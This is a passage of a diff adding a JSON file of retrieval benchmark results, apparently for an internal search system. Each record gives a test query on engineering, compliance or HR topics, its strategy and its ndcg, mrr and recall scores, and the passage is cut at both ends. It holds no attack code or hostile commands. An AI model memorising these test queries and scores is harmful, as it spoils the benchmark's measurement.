"topDocId": "err-cve-xz", + "totalRelevant": 1 + }, + { + "query": "prevent N+1 queries in Rails", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rails-active-record", + "totalRelevant": 1 + }, + { + "query": "investigate a deadlock in Postgres", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "err-deadlock", + "totalRelevant": 2 + }, + { + "query": "set up RPKI for prefix validation", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "bgp-routing", + "totalRelevant": 1 + }, + { + "query": "scale pubsub when consumers fall behind", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-pubsub", + "totalRelevant": 2 + }, + { + "query": "configure PgBouncer transaction pool", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "rotate quarterly credentials with Vault", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 2 + }, + { + "query": "implement a TURN fallback for WebRTC", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "nat-traversal", + "totalRelevant": 1 + }, + { + "query": "set up Patroni with DNS update on failover", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 1 + }, + { + "query": "harden a Lambda execution role", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.8503449055347546, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-lambda", + "totalRelevant": 2 + }, + { + "query": "implement a TURN STUN ICE pipeline", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "nat-traversal", + "totalRelevant": 1 + }, + { + "query": "set up FSDP training in PyTorch", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fsdp", + "totalRelevant": 1 + }, + { + "query": "build a multi-stage Dockerfile for a Node app", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "docker-multistage", + "totalRelevant": 2 + }, + { + "query": "set up Helm release with values per environment", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-helm", + "totalRelevant": 1 + }, + { + "query": "configure prometheus to scrape Kubernetes pods", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "prometheus-pull", + "totalRelevant": 1 + }, + { + "query": "design a Grafana dashboard for SLOs", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "grafana-dashboards", + "totalRelevant": 1 + }, + { + "query": "set up Tailscale for remote workers", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "cve-log4shell", + "totalRelevant": 1 + }, + { + "query": "register a Workload Identity Federation pool", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gcp-iam", + "totalRelevant": 1 + }, + { + "query": "scope reduction for PCI", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-pci", + "totalRelevant": 1 + }, + { + "query": "respond to a DSAR within one month", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-gdpr", + "totalRelevant": 1 + }, + { + "query": "sign a BAA before sharing PHI", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-hipaa", + "totalRelevant": 1 + }, + { + "query": "build an SBOM with Syft", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "publish artifacts signed with cosign", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "configure SIP NAT keep-alive", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "nat-traversal", + "totalRelevant": 1 + }, + { + "query": "design a sharded Redis cluster", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "redis-sentinel", + "totalRelevant": 1 + }, + { + "query": "diagnose lock contention in Postgres", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-locks", + "totalRelevant": 2 + }, + { + "query": "scale a write-heavy ClickHouse table", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "who created the Tendermint consensus protocol?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "blockchain-consensus", + "totalRelevant": 1 + }, + { + "query": "when does Postgres detect a deadlock?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-deadlock", + "totalRelevant": 1 + }, + { + "query": "where is the WAL archived in Postgres?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-wal", + "totalRelevant": 1 + }, + { + "query": "which Helm flag rolls back automatically on failure?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-helm", + "totalRelevant": 1 + }, + { + "query": "what is the WAL?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-wal", + "totalRelevant": 1 + }, + { + "query": "who introduced the Transformer paper?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-transformer", + "totalRelevant": 1 + }, + { + "query": "when does a JWT expire?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-7519-jwt", + "totalRelevant": 1 + }, + { + "query": "where is the on-call schedule managed?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-handoff", + "totalRelevant": 2 + }, + { + "query": "which protocol replaces JNDI in Log4j fixes?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cve-log4shell", + "totalRelevant": 1 + }, + { + "query": "what number is RFC 6238?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mfa-totp", + "totalRelevant": 1 + }, + { + "query": "who funds maintenance for xz utils after CVE-2024-3094?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-cve-xz", + "totalRelevant": 1 + }, + { + "query": "when does Acme run quarterly access reviews?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "where is Acme's onboarding buddy assigned?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "which AWS service supports cold start metrics?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-lambda", + "totalRelevant": 1 + }, + { + "query": "what does Acme's vacation policy minimum require?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vacation-policy", + "totalRelevant": 1 + }, + { + "query": "how does HPACK compress HTTP/2 headers", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "http2", + "totalRelevant": 1 + }, + { + "query": "what is a refresh token rotation strategy", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 1 + }, + { + "query": "what is BGP route hijacking", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "bgp-routing", + "totalRelevant": 1 + }, + { + "query": "what is MergeTree in ClickHouse", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "clickhouse-mergetree", + "totalRelevant": 1 + }, + { + "query": "what is a single-table design in DynamoDB", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "dynamodb-keys", + "totalRelevant": 1 + }, + { + "query": "what is WAL mode in SQLite", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "sqlite-wal", + "totalRelevant": 1 + }, + { + "query": "what is an SBOM in security", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "what is mTLS in zero trust meshes", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mtls", + "totalRelevant": 1 + }, + { + "query": "what does pg_stat_statements track", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-extensions", + "totalRelevant": 1 + }, + { + "query": "what does a fanout exchange do in RabbitMQ", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rabbitmq-exchanges", + "totalRelevant": 1 + }, + { + "query": "what is the difference between a CTE and a subquery", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-sql-cte", + "totalRelevant": 1 + }, + { + "query": "what is a GIN index", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-indexes", + "totalRelevant": 1 + }, + { + "query": "how do I configure ConfigMap-driven config in K8s", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-configmap", + "totalRelevant": 1 + }, + { + "query": "how do I rotate Kubernetes secrets quarterly", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 2 + }, + { + "query": "how do I run a StatefulSet with persistent volumes", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-statefulsets", + "totalRelevant": 1 + }, + { + "query": "how do I set up an HPA with custom metrics", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-hpa", + "totalRelevant": 1 + }, + { + "query": "how do I use Tokio select to multiplex futures", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-async", + "totalRelevant": 1 + }, + { + "query": "how do I propagate context cancellation in Go", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-context", + "totalRelevant": 1 + }, + { + "query": "how do I lazy load i18n bundles per locale", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "frontend-i18n", + "totalRelevant": 1 + }, + { + "query": "how do I focus trap a modal for accessibility", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "a11y-aria", + "totalRelevant": 1 + }, + { + "query": "how do I migrate from Webpack to Vite", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vite-bundling", + "totalRelevant": 1 + }, + { + "query": "how do I configure pip with uv for fast installs", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-virtualenv", + "totalRelevant": 2 + }, + { + "query": "how do I tune autovacuum on a partitioned table", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 2 + }, + { + "query": "how do I write a Lua script for atomic Redis ops", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-lua", + "totalRelevant": 1 + }, + { + "query": "how do I set up Sentinel for HA Redis", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-sentinel", + "totalRelevant": 1 + }, + { + "query": "go.mod replace directive", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-modules", + "totalRelevant": 1 + }, + { + "query": "context.Background context.TODO", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-context", + "totalRelevant": 1 + }, + { + "query": "tokio::task::spawn_blocking", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-async", + "totalRelevant": 1 + }, + { + "query": "anyhow::Error thiserror::Error", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-error-handling", + "totalRelevant": 1 + }, + { + "query": "mypy pyright type checking", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-typing", + "totalRelevant": 1 + }, + { + "query": "df.groupby().agg()", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-pandas", + "totalRelevant": 1 + }, + { + "query": "asyncio.run main", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-python-asyncio", + "totalRelevant": 2 + }, + { + "query": "stream.pipeline node:stream/promises", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "node-streams", + "totalRelevant": 1 + }, + { + "query": "import.meta.glob Vite", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vite-bundling", + "totalRelevant": 1 + }, + { + "query": "infer R conditional types", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ts-generics", + "totalRelevant": 1 + }, + { + "query": "fastify.register fastify-plugin", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "fastify-plugins", + "totalRelevant": 1 + }, + { + "query": "django prefetch_related", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "django-orm", + "totalRelevant": 1 + }, + { + "query": "ActiveRecord includes eager load", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rails-active-record", + "totalRelevant": 1 + }, + { + "query": "@Bean @Configuration Spring", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "spring-boot", + "totalRelevant": 1 + }, + { + "query": "@actuator/health endpoint", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "spring-boot", + "totalRelevant": 1 + }, + { + "query": "RFC 7515 JWS", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "rfc-9110", + "totalRelevant": 1 + }, + { + "query": "RFC 9000 QUIC", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "quic-http3", + "totalRelevant": 1 + }, + { + "query": "exit code 137 OOMKilled", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "go-context", + "totalRelevant": 1 + }, + { + "query": "exit code 139 segfault", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "go-context", + "totalRelevant": 1 + }, + { + "query": "errno 98 EADDRINUSE", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-eaddrinuse", + "totalRelevant": 1 + }, + { + "query": "ssl: SSL_ERROR_SYSCALL", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "go-error-handling", + "totalRelevant": 1 + }, + { + "query": "ENOTFOUND DNS lookup failed", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "cve-log4shell", + "totalRelevant": 1 + }, + { + "query": "504 Gateway Timeout upstream", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "aws-vpc", + "totalRelevant": 1 + }, + { + "query": "\"hot partition\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "dynamodb-keys", + "totalRelevant": 2 + }, + { + "query": "\"kernel cgroup\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 2 + }, + { + "query": "\"prepared statements\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "\"side effect\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "react-effects", + "totalRelevant": 1 + }, + { + "query": "\"feature flag\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "rust-cargo", + "totalRelevant": 1 + }, + { + "query": "\"least privilege\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "pg-roles", + "totalRelevant": 1 + }, + { + "query": "\"break-glass\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "\"gradient checkpointing\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fsdp", + "totalRelevant": 1 + }, + { + "query": "\"head-based sampling\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "otel-traces", + "totalRelevant": 1 + }, + { + "query": "react", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.9047172294870751, + "mrr": 1, + "recall10": 1, + "topDocId": "react-server-components", + "totalRelevant": 4 + }, + { + "query": "rust", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.7634994216714083, + "mrr": 0.5, + "recall10": 1, + "topDocId": "rust-unsafe", + "totalRelevant": 5 + }, + { + "query": "python", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.8738100898801323, + "mrr": 1, + "recall10": 1, + "topDocId": "python-gil", + "totalRelevant": 5 + }, + { + "query": "go", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.9669850519151657, + "mrr": 1, + "recall10": 1, + "topDocId": "go-modules", + "totalRelevant": 5 + }, + { + "query": "vault", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secrets-management", + "totalRelevant": 1 + }, + { + "query": "patroni", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 1 + }, + { + "query": "tailscale", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vpn-access", + "totalRelevant": 1 + }, + { + "query": "pagerduty", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "on-call-handoff", + "totalRelevant": 1 + }, + { + "query": "okta", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "expensify", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "expense-report", + "totalRelevant": 1 + }, + { + "query": "bamboohr", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vacation-policy", + "totalRelevant": 1 + }, + { + "query": "docker", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "docker-multistage", + "totalRelevant": 2 + }, + { + "query": "argo", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "totalRelevant": 1 + }, + { + "query": "diff between PoW and PoS without energy concerns", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "blockchain-consensus", + "totalRelevant": 1 + }, + { + "query": "scaling without losing ordering", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "rotate secrets without downtime", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 2 + }, + { + "query": "deploy without breaking active sessions", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "auth-jwt-vs-session", + "totalRelevant": 1 + }, + { + "query": "Postgres pooling without dropping prepared statements", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "tracing without head sampling", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "otel-traces", + "totalRelevant": 1 + }, + { + "query": "no global mutable state", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.39564672360221187, + "mrr": 0.16666666666666666, + "recall10": 1, + "topDocId": "terraform-state", + "totalRelevant": 2 + }, + { + "query": "Helm Recreate vs RollingUpdate", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-deployments", + "totalRelevant": 1 + }, + { + "query": "Docker scratch vs distroless", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "docker-multistage", + "totalRelevant": 1 + }, + { + "query": "Postgres GIN vs GiST for full text", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-indexes", + "totalRelevant": 1 + }, + { + "query": "PostgreSQL Verbindungspool konfigurieren", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.2890648263178879, + "mrr": 0.1, + "recall10": 1, + "topDocId": "german-kubernetes", + "totalRelevant": 1 + }, + { + "query": "ストリーム削除 Kafka", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.38685280723454163, + "mrr": 0.2, + "recall10": 1, + "topDocId": "vietnamese-go", + "totalRelevant": 1 + }, + { + "query": "Kubernetes RBAC 권한 ClusterRole", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "Rust 所有权 借用检查器", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.3333333333333333, + "mrr": 0.14285714285714285, + "recall10": 1, + "topDocId": "italian-rust", + "totalRelevant": 1 + }, + { + "query": "MongoDB агрегация pipeline", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mongodb-aggregation", + "totalRelevant": 1 + }, + { + "query": "AWS S3 lifecycle политика", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-s3", + "totalRelevant": 1 + }, + { + "query": "TLS 1.3 הצפנה", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "arabic-tls", + "totalRelevant": 1 + }, + { + "query": "Postgres VACUUM बड़ी टेबल", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "hindi-python", + "totalRelevant": 1 + }, + { + "query": "Goroutine kênh chọn", + "category": "non_english", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6934264036172708, + "mrr": 0.5, + "recall10": 1, + "topDocId": "code-go-goroutine", + "totalRelevant": 2 + }, + { + "query": "índices em PostgreSQL B-tree GIN", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-indexes", + "totalRelevant": 1 + }, + { + "query": "what does my service mesh need to support", + "category": "ambiguous", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "k8s-ingress", + "totalRelevant": 1 + }, + { + "query": "designing a feature flag system", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "high availability strategy", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.46927872602275644, + "mrr": 1, + "recall10": 0.3333333333333333, + "topDocId": "redis-sentinel", + "totalRelevant": 3 + }, + { + "query": "modeling a write-once read-many table", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.3706656904013186, + "mrr": 0.125, + "recall10": 1, + "topDocId": "cassandra-consistency", + "totalRelevant": 2 + }, + { + "query": "cost-aware compute scaling", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.5640920940185894, + "mrr": 0.5, + "recall10": 1, + "topDocId": "ml-fsdp", + "totalRelevant": 2 + }, + { + "query": "documenting decisions for the team", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.7903864795495061, + "mrr": 1, + "recall10": 1, + "topDocId": "adr-template", + "totalRelevant": 2 + }, + { + "query": "handling spike traffic gracefully", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + 